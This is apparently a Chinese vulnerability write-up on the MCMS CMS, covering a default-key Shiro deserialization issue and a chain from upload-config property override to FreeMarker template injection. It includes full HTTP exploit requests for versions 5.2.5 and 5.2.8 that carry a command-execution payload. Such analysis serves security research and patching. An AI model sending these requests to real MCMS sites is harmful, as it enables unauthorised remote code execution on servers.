51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

又又又是一个属性覆盖带来的漏洞

又又又是一个属性覆盖带来的漏洞 {#又又又是一个属性覆盖带来的漏洞}

想到最近出了好几个与属性覆盖有关的漏洞,突然想到有一个国产系统也曾经出过这类问题,比较有趣这里简单分享一下,希望把一些东西串起来分享方便学到一些东西

前后端框架信息梳理 {#前后端框架信息梳理}

首先简单从官网可以看出所使用的框架信息以及技术选型

https://gitee.com/mingSoft/MCMS?_from=gitee_search

我们主要关注几个点一个是shiro,一个是freemarker,还有就是具体的一些未鉴权的功能点,同时支持两种部署方式jar/war

关于路由的说明,在启动类当中,指出了扫描的包名前缀为net.mingsoft

|-------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 | @SpringBootApplication(scanBasePackages = {"net.mingsoft"}) @MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"}) @ServletComponentScan(basePackages = {"net.mingsoft"}) public class MSApplication { public static void main(String[] args) { SpringApplication.run(MSApplication.class, args); } } |

因此与路由相关函数只会出现在三个地方

  1. 源目录下
  2. ms-basic依赖包下
  3. ms-mdiy依赖包下

这个系统曾出现过很多漏洞,各类后台文件上传利用,注入、任意文件删除等等,但其实都比较鸡肋不适合学习

Shiro反序列化(版本<=5.2.8 ) {#Shiro反序列化-版本-lt-5-2-8}

在开始前先简单我们知道shiro的版本高低只是加密方式的改变,实际上反序列化漏洞依然存在,如果系统使用了默认的key那也是存在潜在风险的,而恰好在MCMS<=5.2.8版本下都使用了默认的key,使用这个key生成payload,直接打CB链即可image-20231228213327055

接下来我们重点看另一个漏洞

前台模板SSTIRCE利用史 {#前台模板SSTIRCE利用史}

接下来我们看另一个漏洞,和模板相关的漏洞

因为这里的模板渲染使用了freemarker,我们便有两个思路:

  1. 版本是否在漏洞版本
  2. 写法是否安全

在MCMS中关于模板的渲染处理,是通过封装了一个工具类做的处理,在依赖包ms-mdiy中的net.mingsoft.mdiy.util.ParserUtil#rendering做处理

MCMS是在5.1版本开始使用freemarker做模板渲染,并且版本一直没有改变过,传家宝"2.3.31"

对于freemarker的模板,通常是通过api与new进行的利用,当然也有利用限制

对于内置函数api

api_builtin_enabledtrue时才可使用api函数,而该配置在2.3.22版本之后默认为false

对于内置函数new

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类。

2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。

3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。

可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析

尽管MCMS的漏洞版本比较高,但是他在5.8版本以下并未对内置函数new做严格限制,具体我们可以看看net.mingsoft.mdiy.util.ParserUtil#rendering

|---------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | public static String rendering(Map root, String content) throws IOException, TemplateException { Configuration cfg = new Configuration(Configuration.VERSION_2_3_0); StringTemplateLoader stringLoader = new StringTemplateLoader(); stringLoader.putTemplate("template", content); cfg.setNumberFormat("#"); cfg.setTemplateLoader(stringLoader); Template template = cfg.getTemplate("template", "utf-8"); StringWriter writer = new StringWriter(); template.process(root, writer); return writer.toString(); } |

虽然在freemarker版本在较安全的版本,但并未配置new-builtin-class-resolver,因此接下来我们只需要找到调用的点即可

在高版本后5.2.9,开发者终于意识到这个问题,设置了cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

回到正题,这里我们先从较低的版本说起,以5.2.5来做例子

V<=5.2.5 {#V-lt-5-2-5}

首先是一个能任意控制模板渲染的函数

这个路由非常好找,就在源码路径下为数不多不是CRUD功能的类中net.mingsoft.cms.action.web.MCmsAction#search

|---------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | /** * 实现前端页面的文章搜索 * * @param request 搜索id * @param response */ @RequestMapping(value = "search",method = {RequestMethod.GET, RequestMethod.POST}) @ResponseBody public String search(HttpServletRequest request, HttpServletResponse response) { String search = BasicUtil.getString("tmpl", "search.htm"); ............ //解析后的内容 String content = ""; try { //根据模板路径,参数生成 content = ParserUtil.rendering(search, params); } catch (TemplateNotFoundException e) { e.printStackTrace(); } catch (MalformedTemplateNameException e) { e.printStackTrace(); } catch (ParseException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return content; } |

可以这里通过tmpl参数能实现渲染文件的完全控制,但是

ParserUtil.getPageSize(search, 20)当中我们会发现,其读取文件过程中使用了hutoolFileUtil.file,在这个第三方工具类使用了checkSlip防止目录穿越,因此非常可惜我们现在能渲染任意路径下的文件了

|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | public static File checkSlip(File parentFile, File file) throws IllegalArgumentException { if (null != parentFile && null != file) { String parentCanonicalPath; String canonicalPath; try { parentCanonicalPath = parentFile.getCanonicalPath(); canonicalPath = file.getCanonicalPath(); } catch (IOException var5) { throw new IORuntimeException(var5); } if (!canonicalPath.startsWith(parentCanonicalPath)) { throw new IllegalArgumentException("New file is outside of the parent dir: " + file.getName()); } } return file; } |

那要想实现,那必须找到一个能够控制任意路径上传,或者能够配合目录穿越跳转的上传点,这个系统中正好就有,在net.mingsoft.basic.action.web.EditorAction#editor中,参数传入后交给了MsUeditorActionEnter类继续处理

|---------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String rootPath = BasicUtil.getRealPath(""); File saveFloder = new File(this.uploadFloderPath); if (saveFloder.isAbsolute()) { rootPath = saveFloder.getPath(); jsonConfig = jsonConfig.replace("{ms.upload}", ""); } else { jsonConfig = jsonConfig.replace("{ms.upload}", "/" + this.uploadFloderPath); } String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""))).exec(); if (saveFloder.isAbsolute()) { Map data = (Map)JSON.parse(json); data.put("url", this.uploadMapping.replace("/**", "") + data.get("url")); return JSON.toJSONString(data); } else { return json; } } public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super(request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) { this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this.getConfigManager(); setValue(config, "rootPath", rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while(iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } } |

在初始化过程中,先初始化了父类,这里可以看到,actionType受我们传入的参数控制,这个参数决定了方法的调用

|-----------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 | public ActionEnter(HttpServletRequest request, String rootPath) { this.request = request; this.rootPath = rootPath; this.actionType = request.getParameter("action"); this.contextPath = request.getContextPath(); this.configManager = ConfigManager.getInstance(this.rootPath, this.contextPath, request.getRequestURI()); } |

接下来回到MsUeditorActionEnter构造函数处理过程,紧接着调用了this.getConfigManager()初始化一些上传配置,而这个配置来源于文件static/plugins/ueditor/1.4.3.3/jsp/config.json,这个配置文件对上传做了限制,包括保存文件路径模板、大小、允许的后缀等,感兴趣的可以自己看看这个初始化过程,因为不太关键这里就不多叙述

在这里可以看到存在一个参数覆盖的问题(jsonConfig来源于web参数),可以由自定义的输入覆盖默认配置,具体覆盖什么配置待会儿会说

|---------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super(request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) { this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this.getConfigManager(); setValue(config, "rootPath", rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while(iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } } |

接下来初始化后调用exec方法,这里callback是否传入对我们不是很重要,继续看invoke方法

根据我们之前传入的actionType决定走入哪个分支

可以看到一共有8种类型,对应了不同的漏洞点,因为我们只关心RCE,所以这里就以上传为例,选择uploadfile

|-------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 | this.put("config", 0); this.put("uploadimage", 1); this.put("uploadscrawl", 2); this.put("uploadvideo", 3); this.put("uploadfile", 4); this.put("catchimage", 5); this.put("listfile", 6); this.put("listimage", 7); |

在之后调用(new Uploader(this.request, conf)).doExec()做处理,这里的参数走向我们同样不在乎随便选择一个即可

|---------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | public final State doExec() { String filedName = (String)this.conf.get("fieldName"); State state = null; if ("true".equals(this.conf.get("isBase64"))) { state = Base64Uploader.save(this.request.getParameter(filedName), this.conf); } else { state = BinaryUploader.save(this.request, this.conf); } return state; } |

省略其中的不关键的部分,这里我们只需要关注最终保存路径的生成即可

|------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | ... String savePath = (String)conf.get("savePath"); String originFileName = fileStream.getName(); String suffix = FileType.getSuffixByFilename(originFileName); originFileName = originFileName.substring(0, originFileName.length() - suffix.length()); savePath = savePath + suffix; long maxSize = (Long)conf.get("maxSize"); if (!validType(suffix, (String[])((String[])conf.get("allowFiles")))) { return new BaseState(false, 8); } else { savePath = PathFormat.parse(savePath, originFileName); String physicalPath = (String)conf.get("rootPath") + savePath; InputStream is = fileStream.openStream(); State storageState = StorageManager.saveFileByInputStream(is, physicalPath, maxSize); is.close(); if (storageState.isSuccess()) { storageState.putInfo("url", PathFormat.format(savePath)); storageState.putInfo("type", suffix); storageState.putInfo("original", originFileName + suffix); } } ... |

  1. 从配置获取保存的路径
  2. 从Multipart解析文件后缀拼接
  3. 使用PathFormat.parse处理替换模板标签内容
  4. 与根路径拼接并写入文件

com.baidu.ueditor.PathFormat#parse的处理过程当中会对filename中字符做替换,导致/字符丢失因此不能从filename控制路径的穿越

|-----------|----------------------------------------------------------------------------------| | 1 | filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", ""); |

因此我们只能通过控制savePath实现完整的路径控制(还记得么,上面一开始提到过可以做参数覆盖),对于我们的uploadfile的action,对应的savepath属性为filePathFormat,因此构造,当然也可以覆盖其他属性参数这里不重复

|------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Ps:{{url()}是yakit的url编码的标签 POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={{url({filePathFormat:'/template/1/default/2'})}}&action=uploadfile HTTP/1.1 Host: 127.0.0.1:8079 Accept: */* Accept-Encoding: gzip, deflate Connection: close Content-Length: 362 Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 X_Requested_With: UTF-8 --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA Content-Disposition: form-data; name="upload"; filename="1.txt" <#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")} --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA-- |

V<=5.2.8 {#V-lt-5-2-8}

接下来我们看看开发是如何修复这个问题的,这里我的环境是5.2.8,这一次开发意识到了问题所在,做了两个步骤的修复

  1. rootPath由程序控制在必须为upload目录下
  2. 对每一个路径配置做了一次路径归一化

|---------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFloderPath = MSProperties.upload.path; String rootPath = BasicUtil.getRealPath(uploadFloderPath); jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFloderPath); Map<String, Object> map = (Map)JSONObject.parse(jsonConfig); String imagePathFormat = (String)map.get("imagePathFormat"); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat"); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat"); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat", imagePathFormat); map.put("filePathFormat", filePathFormat); map.put("videoPathFormat", videoPathFormat); jsonConfig = JSONObject.toJSONString(map); MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("")); String json = actionEnter.exec(); Map jsonMap = (Map)JSON.parseObject(json, Map.class); jsonMap.put("url", "/".concat(uploadFloderPath).concat(jsonMap.get("url") + "")); return JSONObject.toJSONString(jsonMap); } |

那是不是就没办法了呢?请独立思考三分钟

之前提到了在PathFormat.parse当中,有对最终路径当中的模板做替换(当然这里和老版本的逻辑不一样,简化了很多,分析时以当前版本为准,有兴趣可以看看老版),可以看到会取{xxx}中的内容,之后调用getString做替换

|------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | public static String parse(String input, String filename) { Pattern pattern = Pattern.compile("\\{([^\\}]+)\\}", 2); Matcher matcher = pattern.matcher(input); String matchStr = null; currentDate = new Date(); StringBuffer sb = new StringBuffer(); while(matcher.find()) { matchStr = matcher.group(1); if (matchStr.indexOf("filename") != -1) { filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", ""); matcher.appendReplacement(sb, filename); } else { matcher.appendReplacement(sb, getString(matchStr)); } } matcher.appendTail(sb); return sb.toString(); } |

可以看到如果字符不在当前的case当中会直接返回

|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | private static String getString(String pattern) { pattern = pattern.toLowerCase(); if (pattern.indexOf("time") != -1) { return getTimestamp(); } else if (pattern.indexOf("yyyy") != -1) { return getFullYear(); } else if (pattern.indexOf("yy") != -1) { return getYear(); } else if (pattern.indexOf("mm") != -1) { return getMonth(); } else if (pattern.indexOf("dd") != -1) { return getDay(); } else if (pattern.indexOf("hh") != -1) { return getHour(); } else if (pattern.indexOf("ii") != -1) { return getMinute(); } else if (pattern.indexOf("ss") != -1) { return getSecond(); } else { return pattern.indexOf("rand") != -1 ? getRandom(pattern) : pattern; } } |

有了这个思路我们便可以构造如下payload绕过校验

|------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Ps:{{url()}是yakit的url编码的标签 POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={filePathFormat:'/{.}./template/1/default/2'}&action=uploadfile HTTP/1.1 Host: 127.0.0.1:8080 Accept: */* Accept-Encoding: gzip, deflate Connection: close Content-Length: 362 Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 X_Requested_With: UTF-8 --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA Content-Disposition: form-data; name="upload"; filename="1.txt" <#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")} --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA-- |

V<=5.3.5(目前最新版) {#V-lt-5-3-5-目前最新版}

首先来看最新版做了哪些变动

  1. 在最外层做了jsonConfig判断内容(似乎也没修复什么)

|------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFolderPath = MSProperties.upload.path; boolean enableWeb = MSProperties.upload.enableWeb; if (!enableWeb) { HashMap<String, String> map = new HashMap(); map.put("state", "front end upload is not enabled"); return JSONUtil.toJsonStr(map); } else { String rootPath = BasicUtil.getRealPath(uploadFolderPath); jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFolderPath); Map<String, Object> map = (Map)JSONUtil.toBean(jsonConfig, Map.class); String imagePathFormat = (String)map.get("imagePathFormat"); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat"); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat"); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat", imagePathFormat); map.put("filePathFormat", filePathFormat); map.put("videoPathFormat", videoPathFormat); jsonConfig = JSONUtil.toJsonStr(map); if (jsonConfig == null || !jsonConfig.contains("../") && !jsonConfig.contains("..\\")) { MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("")); String json = actionEnter.exec(); Map jsonMap = (Map)JSONUtil.toBean(json, Map.class); jsonMap.put("url", "/".concat(uploadFolderPath).concat(jsonMap.get("url") + "")); return JSONUtil.toJsonStr(jsonMap); } else { throw new BusinessException(BundleUtil.getString("net.mingsoft.base.resources.resources", "err.error", new String[]{BundleUtil.getString("net.mingsoft.basic.resources.resources", "file.path", new String[0])})); } } } |

  1. 禁止通过属性覆盖修改允许的后缀(我估计开发以为模板引擎必须要htm后缀才行了,忘记他自己写的函数是可以随意指定后缀了2333),以及文件读取相关属性

|---------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super(request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) { this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this.getConfigManager(); setValue(config, "rootPath", rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); _jsonConfig.remove("fileManagerAllowFiles"); _jsonConfig.remove("imageManagerAllowFiles"); _jsonConfig.remove("catcherAllowFiles"); _jsonConfig.remove("imageAllowFiles"); _jsonConfig.remove("fileAllowFiles"); _jsonConfig.remove("videoAllowFiles"); _jsonConfig.remove("imageManagerListPath"); _jsonConfig.remove("fileManagerListPath"); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while(iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } } |

  1. 引擎解析测

设置禁止加载任意类

|-----------|---------------------------------------------------------------------------------------| | 1 | cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER) |

但这样并不能完全修复问题,可以参考辅助学习(https://www.cnblogs.com/escape-w/p/17326592.html),虽然这个项目不存在这些问题就是了%EF%BC%8C%E8%99%BD%E7%84%B6%E8%BF%99%E4%B8%AA%E9%A1%B9%E7%9B%AE%E4%B8%8D%E5%AD%98%E5%9C%A8%E8%BF%99%E4%BA%9B%E9%97%AE%E9%A2%98%E5%B0%B1%E6%98%AF%E4%BA%86)

那么如何才能rce呢?提示一下,我们知道此时文件上传其实仍然能够跨目录写的,那么只能从白名单中受限的后缀入手,发挥你的想象,这里就不直接给出答案了

赞(0)
未经允许不得转载:工具盒子 » 又又又是一个属性覆盖带来的漏洞